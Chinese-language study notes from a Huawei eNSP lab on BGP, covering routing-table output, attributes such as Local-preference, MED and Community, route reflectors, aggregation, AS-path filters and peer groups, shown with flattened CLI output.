LoopBack0 3.3.3.3/32 OSPF 10 1 D 23.1.1.3 GigabitEthernet0/0/1 10.1.1.0/24 IBGP 255 0 RD 1.1.1.1 GigabitEthernet0/0/0 10.4.4.0/24 IBGP 255 0 RD 1.1.1.1 GigabitEthernet0/0/0 12.1.1.0/24 Direct 0 0 D 12.1.1.2 GigabitEthernet0/0/0 12.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 12.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 23.1.1.0/24 Direct 0 0 D 23.1.1.2 GigabitEthernet0/0/1 23.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 23.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 30.1.0.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.1.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.2.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.3.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R2] BGP 路由通告原则 BGP 只通告最优的路由. * 表示该路由是有效的 &gt; 表示该路由是最优的 从 EBGP 对等体获取的路由会通告给所有的 BGP 对等体 (EBGP 和 IBGP). 从 IBGP 对等体获取的路由不会通告给 IBGP 对等体 (IBGP 水平分割原则，用于防止 AS 内路由环路问题)为了防止 AS 内部分设备无法收到 BGP 路由，可以通过配置 IBGP 全互联来解决，但 IBGP 全互联可能会导致网络结构复杂，例如关系数量过多等问题，导致扩展性差，此时可以通过 BGP 路由反射器和 BGP 联盟来简化 AS 内的拓扑结构. 从 IBGP 获取的路由，是否通告给 EBGP 对等体取决于 BGP 的同步规则。默认情况下同步功能关闭，且在 ENSP 中无法手动开启，如果开启，则只有路由同时从 BGP 和 IGP 学习到才可以通告给 EBGP 对等体。同步规则主要是用来防止 BGP 路由黑洞问题. BGP 路由黑洞实验R3没有5.5.5.5路由 BGP路由黑洞BGP注入OSPF[R2-ospf-1]import-route bgp [R4-ospf-1]import-route bgp或者R3运行BGP&lt;R1&gt;ping -a 1.1.1.1 5.5.5.5 PING 5.5.5.5: 56 data bytes, press CTRL_C to break Request time out Request time out Request time out Request time out Request time out --- 5.5.5.5 ping statistics --- 5 packet(s) transmitted 0 packet(s) received 100.00% packet loss&lt;R3&gt;dis ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 13 Routes : 13 Destination/Mask Proto Pre Cost Flags NextHop Interface 2.2.2.2/32 OSPF 10 1 D 23.1.1.2 GigabitEthernet0/0/0 3.3.3.3/32 Direct 0 0 D 127.0.0.1 LoopBack0 4.4.4.4/32 OSPF 10 1 D 34.1.1.4 GigabitEthernet0/0/1 23.1.1.0/24 Direct 0 0 D 23.1.1.3 GigabitEthernet0/0/0 23.1.1.3/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 23.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 34.1.1.0/24 Direct 0 0 D 34.1.1.3 GigabitEthernet0/0/1 34.1.1.3/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 34.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0BGP注入OSPF[R2-ospf-1]import-route bgp [R2-ospf-1]dis ospf lsdb OSPF Process 1 with Router ID 2.2.2.2 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 1234 48 80000005 0 Router 2.2.2.2 2.2.2.2 15 48 80000008 0 Router 3.3.3.3 3.3.3.3 1230 60 8000000A 0 Network 34.1.1.3 3.3.3.3 1230 32 80000003 0 Network 23.1.1.2 2.2.2.2 1278 32 80000003 0 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 1.1.1.1 2.2.2.2 15 36 80000001 1 [R4-ospf-1]import-route bgp[R4-ospf-1]dis ospf lsdb OSPF Process 1 with Router ID 4.4.4.4 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 23 48 80000006 0 Router 2.2.2.2 2.2.2.2 64 48 80000008 0 Router 3.3.3.3 3.3.3.3 1277 60 8000000A 0 Network 34.1.1.3 3.3.3.3 1277 32 80000003 0 Network 23.1.1.2 2.2.2.2 1326 32 80000003 0 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 5.5.5.5 4.4.4.4 23 36 80000001 1 External 1.1.1.1 2.2.2.2 63 36 80000001 1 &lt;R3&gt;dis ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 15 Routes : 15 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 O_ASE 150 1 D 23.1.1.2 GigabitEthernet0/0/0 2.2.2.2/32 OSPF 10 1 D 23.1.1.2 GigabitEthernet0/0/0 3.3.3.3/32 Direct 0 0 D 127.0.0.1 LoopBack0 4.4.4.4/32 OSPF 10 1 D 34.1.1.4 GigabitEthernet0/0/1 5.5.5.5/32 O_ASE 150 1 D 34.1.1.4 GigabitEthernet0/0/1 23.1.1.0/24 Direct 0 0 D 23.1.1.3 GigabitEthernet0/0/0 23.1.1.3/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 23.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 34.1.1.0/24 Direct 0 0 D 34.1.1.3 GigabitEthernet0/0/1 34.1.1.3/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 34.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R1]ping -a 1.1.1.1 5.5.5.5 PING 5.5.5.5: 56 data bytes, press CTRL_C to break Reply from 5.5.5.5: bytes=56 Sequence=1 ttl=252 time=80 ms Reply from 5.5.5.5: bytes=56 Sequence=2 ttl=252 time=50 ms Reply from 5.5.5.5: bytes=56 Sequence=3 ttl=252 time=60 ms Reply from 5.5.5.5: bytes=56 Sequence=4 ttl=252 time=50 ms Reply from 5.5.5.5: bytes=56 Sequence=5 ttl=252 time=40 ms --- 5.5.5.5 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 40/56/80 ms BGP 属性BGP 的路由中会携带多条属性信息，这些属性信息描述了 BGP 路由的各种特征，可以用于 BGP 最终的选路策略. BGP 属性分类公认必遵属性 (well-know mandatory): 该属性可以被所有的 BGP 设备所识别，在 update 报文中必须携带该属性，如果未携带，则认为该报文错误. 公认任意属性 (well-know discretionary): 该属性可以被所有的 BGP 设备所识别，在 update 报文中可以不携带，如果未携带，则不认为该报文错误. 可选过渡属性 (optional transitive): 该属性可能不被 BGP 设备所识别。如果不识别的情况下，依旧可以传递该属性. 可选非过渡属性 (optional non-transitive): 该属性可能不被 BGP 设备所识别。如果不识别的情况下，不会传递该属性。属性信息直接被忽略. Origin-codeOrigin-code : 起源代码或起源属性，是一个公认必遵属性，用于标识一个路由被注入进 BGP 表的方式，在 BGP 路由传递过程中起源代码一般不会改变，共三个值: i:IGP, 表示该路由是通过 network 命令注入 BGP 得到的 e:EGP, 表示路由通过 EGP 协议学习的，该协议目前已经完全被 BGP 取代，现网中几乎无法见到 ?:incomplete, 表示通过其他方式注入得到，一般是通过 import 命令注入得到. 当去往同一个目的地存在多条起源属性不同的路由时，如果其他条件都相同，则按照起源代码 i 优于 e 优于？的顺序加表. AS_PATHAS_PATH:AS 路径属性，是一个公认必遵属性，用于描述一个 BGP 路由所经过的 AS 路径信息，本地始发的路由 AS_PATH 属性为空，当路由传递给 EBGP PEER 时，会将自身的 AS 号添加到 AS_PATH 中 AS_PATH 可以用于 BGP 的 AS 间路由防环，当从 EBGP 接收路由时，如果发现路由中的 AS_PATH 已经包含自身的 AS 号，则拒绝接收该路由. 如果从不同的路径收到相同目的地的路由，且其他属性完全相同，此时会优选 AS-PATH 较短的路由. bestroute as-path-ignore // 通过此命令可以忽略AS-PATH长短的比较 &lt;R2&gt;dis bgp routing-table BGP Local router ID is 2.2.2.2 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 6 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 1.1.1.1/32 12.1.1.1 0 0 100i *&gt;i 5.5.5.5/32 4.4.4.4 0 100 0 300i *&gt; 10.1.0.0/24 12.1.1.1 0 0 100? *&gt; 10.1.1.0/24 12.1.1.1 0 0 100? *&gt; 10.1.2.0/24 12.1.1.1 0 0 100? *&gt; 10.1.3.0/24 12.1.1.1 0 0 100?&lt;R5&gt;dis bgp routing-table BGP Local router ID is 5.5.5.5 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 6 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 1.1.1.1/32 45.1.1.4 0 200 100i *&gt; 5.5.5.5/32 0.0.0.0 0 0 i *&gt; 10.1.0.0/24 45.1.1.4 0 200 100? *&gt; 10.1.1.0/24 45.1.1.4 0 200 100? *&gt; 10.1.2.0/24 45.1.1.4 0 200 100? *&gt; 10.1.3.0/24 45.1.1.4 0 200 100?所经过的AS路径信息越靠近后,靠近始发侧新的AS号在前---[R5-bgp]display bgp routing-table peer 56.1.1.6 advertised-routes BGP Local router ID is 5.5.5.5 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 6 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 1.1.1.1/32 56.1.1.5 0 300 200 100i *&gt; 5.5.5.5/32 56.1.1.5 0 0 300i *&gt; 10.1.0.0/24 56.1.1.5 0 300 200 100? *&gt; 10.1.1.0/24 56.1.1.5 0 300 200 100? *&gt; 10.1.2.0/24 56.1.1.5 0 300 200 100? *&gt; 10.1.3.0/24 56.1.1.5 0 300 200 100? Next-hopnext-hop: 下一跳地址是一个公认必遵属性，描述路由到达目标网络的下一台设备的 IP 地址.当 BGP 设备收到路由时如果下一跳地址是不可达的，则路由不会被调优. 在不同场景中，设备对缺省的 Next-hop 属性设置规则也是不同的: 1.BGP 设备向 EBGP 对等体发布路由时，会把该路由的下一跳属性设置为本地与对端建立 BGP PEER 接口的地址. 2.BGP 设备将本地始发的路由发布给 IBGP 对等体，会将路由的下一跳设置为本地与对端建立 IBGP PEER 接口的地址. 3. 如果从其他 EBGP 学习的路由在通告给 IBGP PEER 时会保持 Next-hop 属性不变 4. 如果路由器收到 BGP 路由，该路由的 Next-hop 字段与 EBGP 对等体在同一个 IP 子网，那么该路由通告给 EBGP PEER 时不修改 Next-hop 属性. [R1-bgp]display bgp routing-table BGP Local router ID is 1.1.1.1 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 2 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 1.1.1.1/32 0.0.0.0 0 0 i *&gt; 2.2.2.2/32 12.1.1.2 0 0 200i&lt;R2&gt;display bgp routing-table BGP Local router ID is 2.2.2.2 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 2 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 1.1.1.1/32 12.1.1.1 0 0 100i *&gt; 2.2.2.2/32 0.0.0.0 0 0 i&lt;R2&gt;[R3-bgp]display bgp routing-table BGP Local router ID is 3.3.3.3 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 3 Network NextHop MED LocPrf PrefVal Path/Ogn i 1.1.1.1/32 1.1.1.1 0 100 0 i i 2.2.2.2/32 12.1.1.2 0 100 0 200i *&gt;i 11.1.1.1/32 1.1.1.1 0 100 0 i[R2-bgp]display bgp routing-table BGP Local router ID is 2.2.2.2 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 3 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 1.1.1.1/32 12.1.1.1 0 0 100i *&gt; 2.2.2.2/32 0.0.0.0 0 0 i *&gt; 11.1.1.1/32 12.1.1.1 0 0 100i Local-preference本地优先级属性Local-preference: 本地优先级属性，公认任意属性，用于在 AS 内来确定流量的出口路径。在 AS 内的本地优先级越大越优，缺省值 100，只能在 AS 内传递 【本地优先级属性用于在 BGP AS 内控制出向流量，当 AS 内，存在多个出口时，可以通过控制本地优先级属性实现流量路径的选择，优先级越大越优，优先级默认值为 100.】 本地优先级的注意事项：本地优先级只能在IBGP对等体之间传递，而不能在EBGP对等体之间传递，如果在EBGP对等体之间收到了携带本地优先级属性的路由，则进行错误处理。 可以在 AS 边界路由器上使用 import 方向的策略来修改 local preference 属性值。也就是在收到路由之后在本地为路由赋予 local preference。 [R3-bgp]default local-preference 110 // 更改本地优先级 MEDMED（multi-exit）： 多出口标识（多出口鉴别器）可选非过度属性 是一种度量值，可以用于控制入向流量，MED 数值越小 BGP 路由越优，缺省情况下不携带 MED 值 (不携带为 0) [R3]route-policy set-med permit node 10 // 创建策略[R3-route-policy]apply cost 30 // 更改MED值[R3-bgp]peer 13.1.1.1 route-policy set-med export // 在BGP应用 在 AS 出口中可以将 IGP 的注入进 BGP，此时 IGP 的 metric 会被添加进 BGP MED 属性，并通告给 EBGP peer，EBGP 对等体可以根据 MED 值或者该路由的 IGP 情况进行选路. [R2-GigabitEthernet0/0/1]ospf cost 15 // 更改接口ospf 开销值 缺省情况下 BGP 设备只会比较来自同一个相邻 AS 的 MED 值，可以通过命令 [R1-bgp] compare-different-as-med 让路由器比较来自不同 AS 路由的 MED 值 MED 作用： 在 AS 之间控制入向流量的属性，属性仅在 AS 之间传递，收到此属性的 AS 不会再通告给任何第三方 AS. 路由在通告进 BGP 设备时，路由会将 metric 加入到 MED 属性中，通过 MED 值反应路由的变化类似于 BGP metric，数值越小越优先，不同的 IGP 引入的 MED 无法比较. 如果是本地始发路由，MED 值会被通告给 IBGP 和 EBGP. 如果是从其他的 BGP 对等体学习的路由，则 MED 值只能通告给 IBGP 对等体，不会通告给 EBGP 对等体.MED 值只能影响相邻的 AS 选路. MED 更加灵活，当开销发生变动时，MED 也会随之改变 CommunityCommunity: 团体属性，是 BGP 路由中的一种标记信息，使用可以将一些相同策略的路由进行相同的标记加以区分。从而便于后续的策略执行，是一个可选过渡属性，共 32bit 有两种表示形式: 十进制数形式 AA:NN 其中 AA 是 16bit,NN 也为 16bit. 一般情况下，AA 可以使用路由对应的 AS 号，NN 为管理员自定义的标记信息. 常见的 Community 可以分为 2 类: 公认 Community: 1.internet:0x00000000 表示缺省的 Community 信息，默认路由器对该 Community 不做任何的动作. 2.no-advertise:0xFFFFFF02 表示该路由不会通告给任何的 BGP PEER. 3.no-export:0xFFFFFF01 表示该路由不会发出本 AS, 表示不会通告给 EBGP PEER. 4.no-export-subconfed:0xFFFFFF03 表示该路由不会传出联盟子 AS, 同时也不会向其他 AS 传递. 私有 Community Community-filter: 用于匹配 BGP 中 Community 信息的工具 基本的 filter 范围：1-99 高级的 filter 范围: 00-199 [R3]ip community-filter ? INTEGER&lt;1-99&gt; Community-filter number (basic) INTEGER&lt;100-199&gt; Community-filter number (advanced) advanced Advanced community-filter basic Basic community-filter[R3]ip community-filter 1 permit 100:100[R3]ip community-filter 2 permit 100:200----通告Community[R1-bgp]peer 12.1.1.2 advertise-community [R1-acl-basic-2001]dis current-configuration configuration acl-basic acl number 2000 rule 5 permit source 10.1.0.0 0. 0.255.255 acl number 2001 rule 5 permit source 20.1.0.0 0.0.255.255 [R1-route-policy]dis throute-policy set-com permit node 10 if-match acl 2000 apply community 100:100 #route-policy set-com permit node 20 if-match acl 2001 apply community 100:200 [R1-bgp]peer 12.1.1.2 route-policy set-com export [R1-bgp]peer 12.1.1.2 advertise-community[R2]dis bgp routing-table community 100:100---[R2-bgp]peer 23.1.1.3 advertise-community[R2-bgp]peer 24.1.1.4 advertise-community[R3]ip community-filter 1 permit 100:100[R3]ip community-filter 2 permit 100:200[R4]ip community-filter 1 permit 100:100[R4]ip community-filter 2 permit 100:200[R3-route-policy]dis throute-policy set-lp permit node 10 if-match community-filter 1 apply local-preference 110 #route-policy set-lp permit node 20 if-match community-filter 2 apply local-preference 50 [R4-route-policy]dis throute-policy set-lp permit node 10 if-match community-filter 1 apply local-preference 50 #route-policy set-lp permit node 20 if-match community-filter 2 apply local-preference 110 bgp 300peer x.x.x.x route-policy set-lp import[R3-bgp]peer 23.1.1.2 route-policy set-lp import[R4-bgp]peer 24.1.1.2 route-policy set-lp import BGP 选路原则0.BGP 路由的下一跳地址不可达，则路由不会被调优. 1.preferred-value (首选值) 数值越高，路由越优. 是华为设备私有的属性，只能用于 BGP 本地路由控制，该属性不会出现在 update 报文中。缺省值为 0 2. 优选 local-Preference 属性值较高的路由. 3. 本地始发的路由，优于非本地始发路由. 聚合路由优于非聚合路由 手动聚合 &gt; 自动聚合 &gt; network &gt; import &gt; 非本地始发 4. 优选 AS_PATH 路径较短的路由. 5. 优选 origin 最优的路由 i&gt;e&gt;? 6. 优选 MED 数值较小的路由 7. 优选从 EBGP 学习的路由 (EBGP 优于 IBGP 路由) 8. 优选 next-hop 的 IGP 度量值最小的路由 8.5 BGP 设备不开启负载均衡，如果开启了负载均衡条件，且前 8 条内容一致，则实现负载均衡. 9. 优选 cluster_list 较短的路由. 10. 优选 RID (originator-id) 较小路由. 11. 优选具有最小 IP 地址的对等体通告的路由. BGP 路由反射器由于 IBGP 水平分割规则的存在，AS 内部如果需要构建 IBGP 全互联，则需要维护大量的 TCP 连接以及 BGP 邻居关系，尤其当路由器数量较多时，会导致扩展性变差，难以维护. 此时可以通过 BGP 的路由反射器技术来简化 BGP 的邻居关系建立. BGP 路由反射器可以降低水平分割发送路由的限制，让一部分 IBGP 的路由可以发送给 IBGP PEER. BGP 路由反射器中的角色RR (rouote reflector): 路由反射器 client:RR 的客户机 non-cient:RR 的非客户机 路由反射规则当 RR 接收到 BGP 路由时， 如果是反射器从自己的非客户机收到的，则会将其反射给所有的客户机 如果是从客户机收到的路由，则会反射给所有的非客户机和客户机. 如果从 EBGP PEER 收到的路由，则发送给所有 BGP PEER. peer x.x.x.x reflect-client [R1-bgp]peer 2.2.2.2 reflect-client[R1-bgp]peer 3.3.3.3 reflect-client 反射器簇一个路由器与其所有的客户机形成一个路由反射器簇. 在一个 AS 内一个路由器有可能属于多个不同的簇. 路由器在不同的簇内角色可能不同 起源者 IDOriginator: 起源者 ID, 用于反射器簇内防环，是一个可选非过渡属性，当路由反射器第一次反射路由时，反射器会将路由发起者的 RID 添加至该属性，在后续传递过程中该属性不变，BGP 设备收到路由时会将起源者 ID 和自身的 RID 进行对比，如果不一致，则正常接收处理该路由，如果一致，则拒绝接收该路由. 簇 id簇 id: 簇 id 是反射器簇的标识，具备相同簇 id 的反射器在同一个簇内，如果没有配置簇 id, 则缺省用设备的 RID 作为族 id. [R1-bgp]reflector cluster-id x.x.x.x // 手动设置更改簇id Cluster_id listCluster_id list: 簇 id 列表，用于在 BGP 路由反射器簇直接进行防环，是一个可选非过渡属性，当路由器第一次反射路由时，反射器会创建该属性，并将自身的簇 id 添加到列表中。当路由反射器接收到携带簇 id 列表的路由时，会检查列表是否包含自身的簇 id 信息，如果不包含，则正常接收处理，如果包含自身的族 id, 则拒绝接收该路由. BGP 路由聚合BGP 路由聚合：可以将多个 BGP 路由聚合成一条路由，从而减少 BGP 传递的路由条目。来提升 BGP 传输的效率. 自动聚合：将本地 import 命令引入的路由自动聚合成主类网络. 默认会抑制明细路由，只有主类网络会被通告出去. 手工聚合：可以将 BGP 表中任意的路由聚合成任意长度，可以实现更灵活的路由聚合. 默认不抑制明细路由. detail-suppressed: 可以通过该参数将明细路由进行抑制. as-set: 将明细路由的 AS 无序添加到 AS_PATH 中，用于聚合后的路由防环. attribute-policy: 在聚合后将某些属性添加到聚合路由中. origin-policy: 起源策略，用于匹配路由起源，只有匹配起源策略的路由才会被聚合. suppress-policy: 在进行路由聚合时，可以通过抑制策略选择被抑制的路由，未被抑制的路由可以正常的被通告. 自动聚合 [R1-bgp]summary automatic------手工聚合10.1.0.0/24 0000 000010.1.1.0/24 0000 000110.1.2.0/24 0000 001010.1.3.0/24 0000 001110.1.4.0/24 0000 010010.1.5.0/24 0000 010110.1.6.0/24 0000 011010.1.7.0/24 0000 011110.1.0.0/21 0000 0000[R5-bgp]aggregate 10.1.0.0 21-----detail-suppressed[R5-bgp]aggregate 10.1.0.0 255.255.248.0 ? as-set Generate the route with AS-SET path-attribute attribute-policy Set aggregation attributes detail-suppressed Filter more detail route from updates origin-policy Filter the originate routes of the aggregate suppress-policy Filter more detail route from updates through a Routing policy &lt;cr&gt; [R5-bgp]aggregate 10.1.0.0 255.255.248.0 detail-suppressed [R5-bgp]aggregate 10.1.0.0 255.255.248.0 detail-suppressed as-set[R5]route-policy set-com permit node 10[R5-route-policy]apply community 100:100[R5-bgp]aggregate 10.1.0.0 255.255.248.0 detail-suppressed as-set attribute-policy set-comWarning: set-com used as BGP attribute-policy, apply as-path is not supported.[R5-bgp]dis bgp r community Total Number of Routes: 1 Network NextHop MED LocPrf PrefVal Community *&gt; 10.1.0.0/21 127.0.0.1 0 &lt;100:100&gt;----origin-policy[R1]route-policy set-com permit node 10[R1-route-policy]apply community 100:1[R1-bgp]import-route static route-policy set-com [R1-bgp]peer 100.1.1.5 advertise-community[R5]ip community-filter 1 permit 100:1[R5]route-policy ori-policy permit node 10[R5-route-policy]if-match community-filter 1[R5-bgp]aggregate 10.1.0.0 255.255.248.0 as-set detail-suppressed attribute-policy set-com origin-policy ori-policy[R5-bgp]dis bgp routing-table community BGP Local router ID is 5.5.5.5 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 9 Network NextHop MED LocPrf PrefVal Community *&gt; 10.1.0.0/21 127.0.0.1 0 &lt;100:100&gt; s&gt; 10.1.0.0/24 100.1.1.1 0 0 &lt;100:1&gt; s&gt; 10.1.1.0/24 100.1.1.1 0 0 &lt;100:1&gt; s&gt; 10.1.2.0/24 100.1.1.2 0 0 &lt;100:1&gt; s&gt; 10.1.3.0/24 100.1.1.2 0 0 &lt;100:1&gt; *&gt; 10.1.4.0/24 100.1.1.3 0 0 &lt;100:2&gt; *&gt; 10.1.5.0/24 100.1.1.3 0 0 &lt;100:2&gt; *&gt; 10.1.6.0/24 100.1.1.4 0 0 &lt;100:2&gt; *&gt; 10.1.7.0/24 100.1.1.4 0 0 &lt;100:2&gt;----suppress-policy10.1.0000 0 001.0/2410.1.0000 0 011.0/2410.1.0000 0 0X0.0 0.0.2.0[R5-acl-basic-2000]rule per source 10.1.1.0 0.0.2.0[R5-route-policy]dis throute-policy sup-policy permit node 10 if-match acl 2000[R5-bgp]aggregate 10.1.0.0 255.255.248.0 as-set detail-suppressed origin-policy ori-policy attribute-policy set-com suppress-policy sup-policy[R5-bgp]dis bgp routing-table community Network NextHop MED LocPrf PrefVal Community *&gt; 10.1.0.0/21 127.0.0.1 0 &lt;100:100&gt; *&gt; 10.1.0.0/24 100.1.1.1 0 0 &lt;100:1&gt; s&gt; 10.1.1.0/24 100.1.1.1 0 0 &lt;100:1&gt; *&gt; 10.1.2.0/24 100.1.1.2 0 0 &lt;100:1&gt; s&gt; 10.1.3.0/24 100.1.1.2 0 0 &lt;100:1&gt; *&gt; 10.1.4.0/24 100.1.1.3 0 0 &lt;100:2&gt; *&gt; 10.1.5.0/24 100.1.1.3 0 0 &lt;100:2&gt; *&gt; 10.1.6.0/24 100.1.1.4 0 0 &lt;100:2&gt; *&gt; 10.1.7.0/24 100.1.1.4 0 0 &lt;100:2&gt; 策略修改 AS_PATHroute-policy add-as permit node 10 apply as-path 123 addiviteroute-policy add-as2 permit node 10 apply as-path 123 overwrite[R2-bgp]peer 23.1.1.3 route-policy add-as export AS-path-filterAS-path-filter: AS 路径过滤器，是 BGP 中一个特有的过滤器，可以与路由策略配合使用，对 BGP 的路由进行过滤或属性的调整. AS-path-filter 在使用时通过正则表达式对 BGP 路由中的 AS-PATH 属性进行配置 正则表达式符号^: 起始符，表示一个字符串开始 ^1010 20 3010 11 12100 110 120 $: 结束符，表示一个字符串的结束. 10$30 20 10120 110 _: 匹配任意一个符号，包括括号和空格. _100$ 从AS100始发的路由 .: 可以用于匹配任意的单个字符，包括空格. 0.10x10110210 1 +: 用于匹配前面的序列，可以出现 1 次或多次. 12+121221222 *: 用于匹配前面的序列，可以出现 0 次或多次. 12*1121221222 ? : 用于匹配前面的序列，可以出现 0 次或 1 次. 12?112 () : 一个序列优先计算，一般可以与 | 配合使用. | : 逻辑或 12(3|4)561235612456 [] : 用于匹配一个序列的范围，一般可以与 - 配合使用. -: 连接符，一般用于表示一个序列范围. 12[3456] 等同于 12[3-6] 123124125126 正则表达式举例: ^100$ : 从相邻的 AS 100 始发的路由. ^$ : 本 AS 始发的路由. _100$ : 从 AS100 始发的路由 ^100_ : 从相邻的 AS 100 传入的路由. _100_ : 途径 AS 100 的路由. .*: 匹配任意的 BGP 信息 ^[0-9]+$ : 从相邻 AS 始发的路由. [0-9][0-9][0-9][0-9][0-9] 需求1: 在R6中过滤掉始发于AS200 的路由[R6-bgp]dis bgp routing-table Total Number of Routes: 6 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 10.1.1.0/24 56.1.1.5 0 500 400 100? *&gt; 20.1.1.0/24 56.1.1.5 0 500 300 200? *&gt; 30.1.1.0/24 56.1.1.5 0 500 300? *&gt; 40.1.1.0/24 56.1.1.5 0 500 400? *&gt; 50.1.1.0/24 56.1.1.5 0 0 500? *&gt; 60.1.1.0/24 0.0.0.0 0 0 ?[R6]ip as-path-filter deny_200 deny ? TEXT A regular-expression of 1 to 255 characters for matching AS_Path attributes[R6]ip as-path-filter deny_200 deny _200$ // 拒绝始发于 AS200 的路由[R6]ip as-path-filter deny_200 permit .* // 未匹配的路由默认为拒绝,这里修改为放行[R6-bgp]peer 56.1.1.5 as-path-filter deny_200 ? export Egress distribution list import Ingress distribution list[R6-bgp]peer 56.1.1.5 as-path-filter deny_200 import // BGP 调用 as-path-filter[R6-bgp]dis bgp routing-table Total Number of Routes: 5 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 10.1.1.0/24 56.1.1.5 0 500 400 100? *&gt; 30.1.1.0/24 56.1.1.5 0 500 300? *&gt; 40.1.1.0/24 56.1.1.5 0 500 400? *&gt; 50.1.1.0/24 56.1.1.5 0 0 500? *&gt; 60.1.1.0/24 0.0.0.0 0 0 ?----AS200始发的路由 MED 修改为 50[R2-bgp]dis bgp routing-table Total Number of Routes: 9 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 10.1.1.0/24 12.1.1.1 0 0 100? *&gt; 20.1.1.0/24 0.0.0.0 0 0 ? *&gt; 30.1.1.0/24 23.1.1.3 0 0 300? *&gt; 40.1.1.0/24 12.1.1.1 0 100 400? * 23.1.1.3 0 300 500 400? *&gt; 50.1.1.0/24 23.1.1.3 0 300 500? * 12.1.1.1 0 100 400 500? *&gt; 60.1.1.0/24 23.1.1.3 0 300 500 600? * 12.1.1.1 0 100 400 500 600?[R2]ip as-path-filter AS200 permit ^$ // 本AS始发的路由[R2-route-policy]dis throute-policy set-med permit node 10 if-match as-path-filter AS200 apply cost 50[R2-bgp]import-route static route-policy set-med [R2-bgp]dis bgp routing-table Total Number of Routes: 9 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 10.1.1.0/24 12.1.1.1 0 0 100? *&gt; 20.1.1.0/24 0.0.0.0 50 0 ? *&gt; 30.1.1.0/24 23.1.1.3 0 0 300? *&gt; 40.1.1.0/24 12.1.1.1 0 100 400? * 23.1.1.3 0 300 500 400? *&gt; 50.1.1.0/24 23.1.1.3 0 300 500? * 12.1.1.1 0 100 400 500? *&gt; 60.1.1.0/24 23.1.1.3 0 300 500 600? * 12.1.1.1 0 100 400 500 600?------- BGP 对等体组BGP 对等体组：是一些具有相同策略的对等体的集合，当一个对等体加入对等体组中，该对等体将获得与所在 BGP 对等体组相同的配置，当对等体组的配置改变时，组内成员的配置也相应改变. 在大型 BGP 网络中，由于对等体的数量很多，其中很多对等体具有相同的策略，在配置时会重复使用一些命令，利用对等体组可以简化配置. group ibgp internalpeer ibgp connect-interface LoopBack0peer ibgp password simple huawei123peer ibgp reflect-clientpeer ibgp next-hop-localpeer x.x.x.x group ibgp----group ebgp 